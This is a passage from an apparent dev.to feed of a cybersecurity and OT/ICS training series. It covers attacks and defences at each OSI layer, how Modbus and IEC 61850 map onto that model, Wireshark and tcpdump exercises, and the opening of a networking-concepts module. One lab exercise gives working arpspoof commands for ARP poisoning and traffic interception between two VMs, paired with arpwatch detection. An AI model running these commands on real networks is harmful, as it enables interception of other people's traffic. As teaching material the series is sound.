├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L2   │ ARP spoofing/poisoning         │ Dynamic ARP Inspection (DAI)    │
│ Data  │ MAC flooding (CAM overflow)    │ Port security, MAC limiting     │
│ Link  │ VLAN hopping (DTP/double-tag)  │ Disable DTP, change native VLAN │
│       │ STP attacks (root bridge)      │ BPDU Guard, Root Guard          │
│       │ CDP/LLDP info disclosure       │ Disable on untrusted ports      │
│       │ GOOSE injection (IEC 61850)    │ IEC 62351-6 authentication      │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L1   │ Physical wiretapping           │ Physical security, fibre+alarm  │
│ Phys. │ Signal jamming                 │ RF shielding, redundant paths   │
│       │ Rogue device insertion         │ 802.1X port authentication      │
│       │ Hardware implants              │ Supply chain verification, tamper│
│       │ Power analysis side-channel    │ Constant-time crypto, shielding │
└───────┴────────────────────────────────┴─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. OSI in OT/ICS/SCADA Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 How Industrial Protocols Map to OSI
&lt;/h3&gt;

&lt;p&gt;The Purdue Model (covered in Stage 12) describes OT network architecture in functional zones. OSI describes communication within and between those zones. Together they form the complete framework for OT security analysis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IEC 61850 Protocol Stack vs OSI:
┌─────────────┐     ┌──────────────────────────────────┐
│    OSI      │     │         IEC 61850 Stack           │
├─────────────┤     ├──────────────────────────────────┤
│ Application │←───→│ MMS (Manufacturing Message Spec.) │
│ Presentation│←───→│ ASN.1/BER encoding               │
│ Session     │←───→│ ISO Session Protocol              │
│ Transport   │←───→│ TCP (for MMS/ICCP)               │
│ Network     │←───→│ IP                               │
│ Data Link   │←───→│ Ethernet (GOOSE/SV directly here)│
│ Physical    │←───→│ Copper/Fibre Ethernet            │
└─────────────┘     └──────────────────────────────────┘

GOOSE and Sampled Values bypass L3-L7 entirely → directly over L2
This is why IP firewalls cannot filter GOOSE traffic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Modbus TCP vs OSI:
┌─────────────┐     ┌─────────────────┐
│    OSI      │     │   Modbus TCP    │
├─────────────┤     ├─────────────────┤
│ Application │←───→│ Modbus PDU      │ ← Function code, data
│ Pres./Sess. │     │ (not present)   │ ← No session management
│ Transport   │←───→│ TCP (port 502)  │
│ Network     │←───→│ IP              │
│ Data Link   │←───→│ Ethernet        │
│ Physical    │←───→│ Copper/Fibre    │
└─────────────┘     └─────────────────┘

Note: Modbus does not implement Presentation or Session layers.
Sessions are implicit — if the TCP connection is open, commands are executed.
Authentication: NONE at any layer.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 OT Security Controls by Layer
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Layer-by-layer OT security controls:

L1 — Physical:
  ✓ Physical access control to cabinets and field devices
  ✓ Cable labelling and documentation
  ✓ Tamper-evident seals on hardware
  ✓ Locked enclosures in remote locations
  ✗ Often: exposed USB ports, unguarded network jacks

L2 — Data Link:
  ✓ GOOSE authentication (IEC 62351-6) — rarely deployed
  ✓ Port security on managed switches
  ✗ Often: unmanaged switches (no port security possible)
  ✗ Often: flat L2 network (no VLAN separation)
  ✗ Often: GOOSE with no authentication

L3 — Network:
  ✓ Firewalls between IT and OT (DMZ)
  ✓ Whitelist-based ACLs (only known devices can communicate)
  ✗ Often: no inspection of Modbus/DNP3 payload
  ✗ Often: no logging of L3 traffic
  Note: Modbus TCP on port 502 can be filtered at L3, but payload not validated

L4 — Transport:
  ✓ Port filtering (block everything except known service ports)
  ✗ Often: wide-open port ranges for "legacy compatibility"

L7 — Application:
  ✓ Industrial protocol gateways with command inspection
  ✓ OPC UA with security mode (authentication + encryption)
  ✓ DNP3 Secure Authentication v5
  ✗ Often: Modbus with no authentication accepted by field devices
  ✗ Often: SNMP v1/v2c on network-connected devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Layer-by-Layer Packet Dissection (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture a full HTTP connection and manually identify each OSI layer&lt;/span&gt;

&lt;span class="c"&gt;# Start capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/http_full.pcap &lt;span class="s1"&gt;'host neverssl.com and tcp port 80'&lt;/span&gt; &amp;amp;

&lt;span class="c"&gt;# Generate traffic&lt;/span&gt;
curl &lt;span class="nt"&gt;-v&lt;/span&gt; http://neverssl.com/

&lt;span class="c"&gt;# Stop capture&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Open in Wireshark: wireshark /tmp/http_full.pcap&lt;/span&gt;
&lt;span class="c"&gt;# For each packet in the TCP handshake (SYN, SYN-ACK, ACK):&lt;/span&gt;
&lt;span class="c"&gt;# 1. Expand "Ethernet II" → identify L2 fields (Dst MAC, Src MAC, EtherType)&lt;/span&gt;
&lt;span class="c"&gt;# 2. Expand "Internet Protocol" → identify L3 fields (Src IP, Dst IP, TTL, Protocol)&lt;/span&gt;
&lt;span class="c"&gt;# 3. Expand "Transmission Control Protocol" → identify L4 fields (ports, flags, seq, ack)&lt;/span&gt;
&lt;span class="c"&gt;# 4. Find the HTTP GET request packet → expand "Hypertext Transfer Protocol" → L7&lt;/span&gt;

&lt;span class="c"&gt;# Answer these questions:&lt;/span&gt;
&lt;span class="c"&gt;# - What is the Ethernet EtherType in hex?&lt;/span&gt;
&lt;span class="c"&gt;# - What IP protocol number identifies TCP?&lt;/span&gt;
&lt;span class="c"&gt;# - What TCP flags are set in the SYN packet?&lt;/span&gt;
&lt;span class="c"&gt;# - What TTL does the server's response have? What OS does this suggest?&lt;/span&gt;
&lt;span class="c"&gt;# - Can you find the HTTP response code?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: ARP Observation and Poisoning (Lab Only) (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# This exercise MUST be done in an isolated lab (two VMs only)&lt;/span&gt;
&lt;span class="c"&gt;# NEVER on production or shared networks&lt;/span&gt;

&lt;span class="c"&gt;# VM1 (Attacker - Kali): 192.168.100.10&lt;/span&gt;
&lt;span class="c"&gt;# VM2 (Target):          192.168.100.20&lt;/span&gt;
&lt;span class="c"&gt;# Gateway (simulated):   192.168.100.1&lt;/span&gt;

&lt;span class="c"&gt;# On Target (VM2) — observe normal ARP&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# Record the gateway's MAC address&lt;/span&gt;

&lt;span class="c"&gt;# On Attacker (VM1) — start ARP poisoning&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.100.20 192.168.100.1 &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.100.1 192.168.100.20 &amp;amp;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# On Target (VM2) — check ARP again&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# The gateway's MAC has changed to Attacker's MAC → ARP poisoning confirmed&lt;/span&gt;

&lt;span class="c"&gt;# On Attacker (VM1) — observe intercepted traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'host 192.168.100.20'&lt;/span&gt;

&lt;span class="c"&gt;# Questions:&lt;/span&gt;
&lt;span class="c"&gt;# What changed in the ARP cache?&lt;/span&gt;
&lt;span class="c"&gt;# Can you see target's traffic in tcpdump?&lt;/span&gt;
&lt;span class="c"&gt;# Can you detect this attack programmatically?&lt;/span&gt;

&lt;span class="c"&gt;# Detection (on any machine on the same segment):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpwatch &lt;span class="nt"&gt;-i&lt;/span&gt; eth0    &lt;span class="c"&gt;# Logs MAC address changes — would alert on this&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Build a Layer-by-Layer Attack Map (45 minutes)
&lt;/h3&gt;

&lt;p&gt;Using only a packet capture and Wireshark, answer these questions about a network:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download a sample capture&lt;/span&gt;
wget https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap
wireshark http.cap

&lt;span class="c"&gt;# L1 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - Is the capture from Ethernet or Wi-Fi?&lt;/span&gt;
&lt;span class="c"&gt;# - What is the maximum frame size observed?&lt;/span&gt;

&lt;span class="c"&gt;# L2 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What are the unique MAC addresses?&lt;/span&gt;
&lt;span class="c"&gt;# - Look up their OUIs: what manufacturers made these devices?&lt;/span&gt;
&lt;span class="c"&gt;# - Is there any ARP traffic? What does it reveal?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: arp&lt;/span&gt;

&lt;span class="c"&gt;# L3 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What are the unique IP addresses?&lt;/span&gt;
&lt;span class="c"&gt;# - What TTLs do you observe? What OSes?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: ip&lt;/span&gt;

&lt;span class="c"&gt;# L4 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What TCP connections exist? (Wireshark Statistics → Conversations → TCP)&lt;/span&gt;
&lt;span class="c"&gt;# - What is the SYN timestamp? The FIN/RST timestamp? How long was the connection?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: tcp.flags.syn == 1 to find all connection initiations&lt;/span&gt;

&lt;span class="c"&gt;# L7 analysis:&lt;/span&gt;
&lt;span class="c"&gt;# - What HTTP requests were made? (File → Export Objects → HTTP)&lt;/span&gt;
&lt;span class="c"&gt;# - What user-agent string reveals the browser/OS?&lt;/span&gt;
&lt;span class="c"&gt;# - Filter: http.request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Wireshark OSI Layer Filters (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Master Wireshark filters organised by OSI layer&lt;/span&gt;

&lt;span class="c"&gt;# L2 filters:&lt;/span&gt;
eth.dst &lt;span class="o"&gt;==&lt;/span&gt; ff:ff:ff:ff:ff:ff          &lt;span class="c"&gt;# Broadcast frames&lt;/span&gt;
eth.type &lt;span class="o"&gt;==&lt;/span&gt; 0x0806                     &lt;span class="c"&gt;# ARP frames only&lt;/span&gt;
eth.type &lt;span class="o"&gt;==&lt;/span&gt; 0x8100                     &lt;span class="c"&gt;# 802.1Q VLAN tagged&lt;/span&gt;
eth.src &lt;span class="o"&gt;==&lt;/span&gt; AA:BB:CC:DD:EE:FF           &lt;span class="c"&gt;# Specific source MAC&lt;/span&gt;
eth.addr &lt;span class="o"&gt;==&lt;/span&gt; AA:BB:CC:DD:EE:FF          &lt;span class="c"&gt;# Source OR destination MAC&lt;/span&gt;

&lt;span class="c"&gt;# L3 filters:&lt;/span&gt;
ip.src &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.100               &lt;span class="c"&gt;# Specific source IP&lt;/span&gt;
ip.dst &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# Specific destination IP&lt;/span&gt;
ip.ttl &amp;lt; 10                           &lt;span class="c"&gt;# Low TTL (dying packets or traceroute)&lt;/span&gt;
ip.frag_offset &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 0                    &lt;span class="c"&gt;# Fragmented packets (not first fragment)&lt;/span&gt;
ip.flags.mf &lt;span class="o"&gt;==&lt;/span&gt; 1                      &lt;span class="c"&gt;# More fragments flag set&lt;/span&gt;
icmp                                   &lt;span class="c"&gt;# All ICMP traffic&lt;/span&gt;
icmp.type &lt;span class="o"&gt;==&lt;/span&gt; 8                        &lt;span class="c"&gt;# ICMP Echo Request (ping)&lt;/span&gt;

&lt;span class="c"&gt;# L4 filters:&lt;/span&gt;
tcp.port &lt;span class="o"&gt;==&lt;/span&gt; 80                        &lt;span class="c"&gt;# TCP port 80 either direction&lt;/span&gt;
tcp.dstport &lt;span class="o"&gt;==&lt;/span&gt; 443                    &lt;span class="c"&gt;# HTTPS traffic&lt;/span&gt;
tcp.flags.syn &lt;span class="o"&gt;==&lt;/span&gt; 1 and tcp.flags.ack &lt;span class="o"&gt;==&lt;/span&gt; 0   &lt;span class="c"&gt;# SYN only (new connections)&lt;/span&gt;
tcp.flags.rst &lt;span class="o"&gt;==&lt;/span&gt; 1                    &lt;span class="c"&gt;# RST packets (rejected connections)&lt;/span&gt;
tcp.analysis.retransmission           &lt;span class="c"&gt;# TCP retransmissions (network problems/scanning)&lt;/span&gt;
udp.port &lt;span class="o"&gt;==&lt;/span&gt; 53                        &lt;span class="c"&gt;# DNS traffic&lt;/span&gt;

&lt;span class="c"&gt;# L7 filters:&lt;/span&gt;
http.request.method &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt;         &lt;span class="c"&gt;# HTTP POST requests&lt;/span&gt;
http.response.code &lt;span class="o"&gt;==&lt;/span&gt; 200             &lt;span class="c"&gt;# Successful HTTP responses&lt;/span&gt;
http.response.code &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 400             &lt;span class="c"&gt;# HTTP errors&lt;/span&gt;
dns.qry.name contains &lt;span class="s2"&gt;"evil"&lt;/span&gt;          &lt;span class="c"&gt;# DNS queries containing "evil"&lt;/span&gt;
dns.flags.response &lt;span class="o"&gt;==&lt;/span&gt; 0               &lt;span class="c"&gt;# DNS queries only&lt;/span&gt;
smb2                                  &lt;span class="c"&gt;# SMB2 traffic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OSI Layer&lt;/th&gt;
&lt;th&gt;Number&lt;/th&gt;
&lt;th&gt;PDU&lt;/th&gt;
&lt;th&gt;Key Protocols&lt;/th&gt;
&lt;th&gt;Primary Security Attacks&lt;/th&gt;
&lt;th&gt;Key Defences&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Application&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;HTTP, DNS, SMTP, SMB, Modbus, DNP3, SNMP&lt;/td&gt;
&lt;td&gt;SQLi, XSS, DNS poisoning, command injection, Modbus exploitation&lt;/td&gt;
&lt;td&gt;WAF, input validation, DNSSEC, IEC 62351&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Presentation&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;TLS, SSL, JPEG, ASN.1&lt;/td&gt;
&lt;td&gt;CRIME/BREACH, SSL downgrade, Heartbleed, encoding attacks&lt;/td&gt;
&lt;td&gt;TLS 1.3, disable TLS compression, patch OpenSSL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;NetBIOS, RPC, TLS handshake&lt;/td&gt;
&lt;td&gt;Session hijacking, RPC exploitation, LLMNR poisoning&lt;/td&gt;
&lt;td&gt;Disable LLMNR/NBT-NS, firewall RPC, HTTPS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transport&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Segment/Datagram&lt;/td&gt;
&lt;td&gt;TCP, UDP, QUIC&lt;/td&gt;
&lt;td&gt;SYN flood, UDP amplification, port scanning, TIME_WAIT exhaustion&lt;/td&gt;
&lt;td&gt;SYN cookies, BCP38, rate limiting, firewall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Packet&lt;/td&gt;
&lt;td&gt;IPv4, IPv6, ICMP, OSPF, BGP, IPSec&lt;/td&gt;
&lt;td&gt;IP spoofing, ICMP redirect, fragmentation attacks, route injection&lt;/td&gt;
&lt;td&gt;BCP38, RPKI, routing authentication, firewall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data Link&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Frame&lt;/td&gt;
&lt;td&gt;Ethernet, 802.1Q, ARP, STP, LLDP, GOOSE&lt;/td&gt;
&lt;td&gt;ARP spoofing, MAC flooding, VLAN hopping, STP attack, GOOSE injection&lt;/td&gt;
&lt;td&gt;DAI, port security, BPDU Guard, IEC 62351-6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Bits&lt;/td&gt;
&lt;td&gt;Copper, Fibre, 802.11, RS-485&lt;/td&gt;
&lt;td&gt;Wiretapping, jamming, rogue device, hardware implant&lt;/td&gt;
&lt;td&gt;Physical security, 802.1X, supply chain audit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.3-tcpip-model.md"&gt;Stage 1.3 — TCP/IP Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.1-network-concepts.md"&gt;Stage 1.1 — Network Concepts&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>software</category>
      <category>learning</category>
    </item>
    <item>
      <title>Stage 1.1 — Network Concepts</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 31 May 2026 16:08:54 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-11-network-concepts-3j5g</link>
      <guid>https://dev.to/rencberakman/stage-11-network-concepts-3j5g</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.1 — Network Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0 — Foundations (Complete)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.2 — OSI Model&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Networks Are the Battlefield&lt;/li&gt;
&lt;li&gt;What Is a Network — First Principles&lt;/li&gt;
&lt;li&gt;Network Types — LAN, WAN, MAN, PAN&lt;/li&gt;
&lt;li&gt;How the Internet Actually Works&lt;/li&gt;
&lt;li&gt;Bandwidth, Latency, Jitter — The Performance Trinity&lt;/li&gt;
&lt;li&gt;Packets and Frames — How Data Travels&lt;/li&gt;
&lt;li&gt;Unicast, Multicast, Broadcast — Addressing Modes&lt;/li&gt;
&lt;li&gt;Network Topologies and Their Security Implications&lt;/li&gt;
&lt;li&gt;The Security Mindset on Networks&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Networks Are the Battlefield
&lt;/h2&gt;

&lt;p&gt;Every single cyberattack — without exception — involves a network at some point. An attacker scanning for open ports, a piece of ransomware calling home to its command-and-control server, credentials being exfiltrated, a phishing link being clicked, lateral movement from one compromised machine to another — all of it flows through network infrastructure.&lt;/p&gt;

&lt;p&gt;When security professionals talk about "the attack surface," networks represent the largest and most exposed portion of it. An organisation might lock down every workstation perfectly, deploy every patch on time, and train every employee — and still be compromised because a misconfigured network segment allowed an attacker to reach a system they should never have been able to touch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For you specifically:&lt;/strong&gt; Understanding networks is not a prerequisite you get through to reach the "interesting" material. It IS the interesting material. The difference between a junior analyst who struggles and a senior professional who consistently finds things others miss comes down, very often, to how deeply they understand what is happening at the network level.&lt;/p&gt;

&lt;p&gt;A packet captured in Wireshark is meaningless noise to someone who does not understand networks. To someone who does, it tells a complete story — where the connection came from, where it was going, what protocol was used, whether the traffic is normal or anomalous, whether an attack is in progress, and what the attacker was trying to do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS specifically:&lt;/strong&gt; Industrial networks are fundamentally different from enterprise IT networks in their topology, their protocols, and their failure modes. Power substations, manufacturing floors, and water treatment facilities run communication networks that were designed for reliability and real-time control — not security. Understanding networking from first principles is what allows you to reason about these environments clearly when you encounter them.&lt;/p&gt;

&lt;p&gt;The security mindset for this stage: &lt;strong&gt;The network is not a dumb pipe that moves bytes from A to B. It is a complex, stateful, layered system with its own logic, its own vulnerabilities, and its own forensic trail. Every byte that crosses a network leaves a story. Your job is to read it.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Is a Network — First Principles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Core Definition
&lt;/h3&gt;

&lt;p&gt;A network is any system that allows two or more devices to exchange information. That definition is deceptively simple. The complexity — and the security implications — emerge from how that exchange is implemented.&lt;/p&gt;

&lt;p&gt;At the most fundamental level, a network requires three things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. A medium&lt;/strong&gt; — something through which the signal travels. This can be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Copper wire (Ethernet, telephone lines)&lt;/li&gt;
&lt;li&gt;Optical fibre (glass or plastic that carries light signals)&lt;/li&gt;
&lt;li&gt;Radio waves (Wi-Fi, cellular, Bluetooth, Zigbee)&lt;/li&gt;
&lt;li&gt;Even lasers through air (free-space optical communication, used in some industrial settings)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. A protocol&lt;/strong&gt; — an agreed-upon language for communication. Without protocols, a device sending data and a device receiving data would have no way to understand each other. Protocols define everything: how to start a conversation, how to end it, how to handle errors, how to ensure data arrives in order, how to authenticate, how to encrypt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Addressing&lt;/strong&gt; — a way to identify who is talking and who should receive the data. Without addressing, data broadcast by one device would reach all devices but none would know if it was meant for them.&lt;/p&gt;

&lt;p&gt;These three requirements — medium, protocol, addressing — map directly onto the OSI model you will study in Module 1.2. Understanding this mapping now will make OSI click immediately when you reach it.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Why Networks Exist — The Business and Operational Driver
&lt;/h3&gt;

&lt;p&gt;This matters for security because understanding &lt;em&gt;why&lt;/em&gt; a network exists tells you what it is supposed to protect and what its failure modes mean.&lt;/p&gt;

&lt;p&gt;Networks exist to enable:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resource sharing&lt;/strong&gt; — printers, storage, software licenses. Before networks, every computer needed its own copy of everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Communication&lt;/strong&gt; — email, messaging, video calls. The entire modern communication infrastructure is a network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Centralised management&lt;/strong&gt; — instead of configuring every machine individually, network-connected devices can be managed from a central point. Active Directory is the enterprise manifestation of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Distributed computing&lt;/strong&gt; — breaking large problems across many machines. Cloud computing is this at massive scale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-time control&lt;/strong&gt; — in OT/ICS environments, networks carry control signals between sensors, controllers, and actuators. A factory's production line communicates over a network. A power substation's protection relays communicate over a network. Here, the network is not a convenience — it is the operational backbone. Disrupting it does not cause inconvenience; it causes physical consequences.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 The Fundamental Problem Networks Solve — and Create
&lt;/h3&gt;

&lt;p&gt;Networks solve the problem of physical distance. Information that would take hours to transport physically can be transmitted in milliseconds.&lt;/p&gt;

&lt;p&gt;But networks also create new problems:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidentiality:&lt;/strong&gt; Data crossing a network can be intercepted. Every packet that travels through shared infrastructure — routers, switches, ISPs — passes through hardware you do not control. Anyone with access to that hardware can potentially read your data. This is why encryption exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Integrity:&lt;/strong&gt; Data can be modified in transit. An attacker positioned between sender and receiver (Man-in-the-Middle) can alter packets. This is why cryptographic authentication exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Availability:&lt;/strong&gt; Networks can be overwhelmed, disrupted, or severed. A DDoS attack exploits this. A cut cable exploits this. For OT networks where availability means operational continuity, this is the most critical concern.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication:&lt;/strong&gt; How does a receiving device know that data is actually from who it claims to be from? IP addresses can be spoofed. MAC addresses can be faked. This is why authentication protocols exist — and why their weaknesses are so heavily exploited.&lt;/p&gt;

&lt;p&gt;These four properties — confidentiality, integrity, availability, authentication — map directly onto the CIA triad and its extensions that you studied in Stage 0. Everything you learn about networks connects back to these fundamentals.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Network Types — LAN, WAN, MAN, PAN
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Why Classification Matters for Security
&lt;/h3&gt;

&lt;p&gt;Network type classification is not academic taxonomy. It tells you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What protocols are likely in use&lt;/li&gt;
&lt;li&gt;What the physical attack surface looks like&lt;/li&gt;
&lt;li&gt;What the regulatory environment is (some network types are regulated)&lt;/li&gt;
&lt;li&gt;What assumptions about trust are built into the design&lt;/li&gt;
&lt;li&gt;How an attacker would approach targeting it&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.2 PAN — Personal Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Centimetres to ~10 metres&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect personal devices in immediate proximity&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; Bluetooth (IEEE 802.15.1), Zigbee (IEEE 802.15.4), NFC, USB, IrDA&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Your body area:
Smartphone ←→ Smartwatch (Bluetooth)
Laptop ←→ Wireless mouse/keyboard (Bluetooth)
Phone ←→ Payment terminal (NFC, &amp;lt;10cm)
Medical device ←→ Monitoring station (Zigbee)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Short range limits the attack surface physically — attacker must be nearby&lt;/li&gt;
&lt;li&gt;But "nearby" in a crowded office, airport, or conference is not much of a limitation&lt;/li&gt;
